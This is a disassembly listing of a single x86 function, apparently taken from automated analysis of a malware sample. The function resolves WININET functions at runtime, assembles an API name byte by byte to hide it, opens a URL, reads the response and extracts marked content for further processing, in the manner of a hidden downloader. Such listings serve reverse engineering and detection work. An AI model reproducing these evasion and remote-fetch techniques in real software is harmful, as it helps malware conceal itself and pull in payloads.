Function at 0x100104e0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0xc20
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.InternetOpenUrlA
push str.WININET.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0xc34]
mov dword [esp + 0x14], eax
xor eax, eax
cmp ecx, eax
jne 0x10010521
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc20
ret
mov dword [esp + 0x28], eax
mov byte [esp + 0x13], al
mov edi, 0x1001f904
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.http
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov edi, str.http
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1001f904
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0xc3c]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x1001060c
push str.https:__
push esi
call edi
add esp, 8
test eax, eax
jne 0x1001060c
mov ecx, dword [esp + 0xc4c]
mov edx, dword [esp + 0xc48]
mov eax, dword [esp + 0xc44]
push ecx
mov ecx, dword [esp + 0xc44]
push edx
mov edx, dword [esp + 0xc44]
push eax
mov eax, dword [esp + 0xc44]
push ecx
push edx
push eax
push esi
call fcn.100103b0
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc20
ret
push str.RegOpenKeyExA
push str.ADVAPI32.dll
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov cl, 0x6e
mov dl, 0x74
mov byte [esp + 0x19], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x23], cl
lea ecx, [esp + 0x18]
mov al, 0x65
push ecx
push str.WININET.dll
mov byte [esp + 0x20], 0x49
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x26], al
mov byte [esp + 0x27], dl
mov byte [esp + 0x28], 0x4f
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], al
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2d], 0
call ebp
push eax
call ebx
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call eax
test eax, eax
mov dword [esp + 0x2c], eax
jne 0x10010698
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc20
ret
push 0
push 0x80000100
push 0
push 0
push esi
push eax
call dword [esp + 0x2c]
mov esi, eax
test esi, esi
mov dword [esp + 0x14], esi
jne 0x100106c4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc20
ret
mov esi, dword [esp + 0x14]
push str.InternetReadFile
push str.WININET.dll
call ebp
push eax
call ebx
mov edx, eax
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x430]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
lea ecx, [esp + 0x430]
push eax
push 0x800
push ecx
push esi
call edx
lea edx, [esp + 0x430]
push str.
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x1001079d
add esi, 4
push str.
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov edx, eax
add esp, 8
test edx, edx
je 0x1001079d
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [esp + 0x30]
sub ecx, esi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
push ecx
call fcn.10010360
mov edx, dword [esp + 0xc50]
mov ecx, dword [esp + 0xc4c]
push edx
mov edx, dword [esp + 0xc4c]
push ecx
mov ecx, dword [esp + 0xc4c]
push edx
mov edx, dword [esp + 0xc4c]
push ecx
mov ecx, dword [esp + 0xc4c]
push edx
push ecx
push eax
call fcn.100103b0
add esp, 0x20
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x28]
test eax, eax
ja 0x100106c0
push str.InternetCloseHandle
push str.WININET.dll
call ebp
push eax
call ebx
mov edx, dword [esp + 0x14]
mov esi, eax
push edx
call esi
mov eax, dword [esp + 0x2c]
push eax
call esi
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc20
ret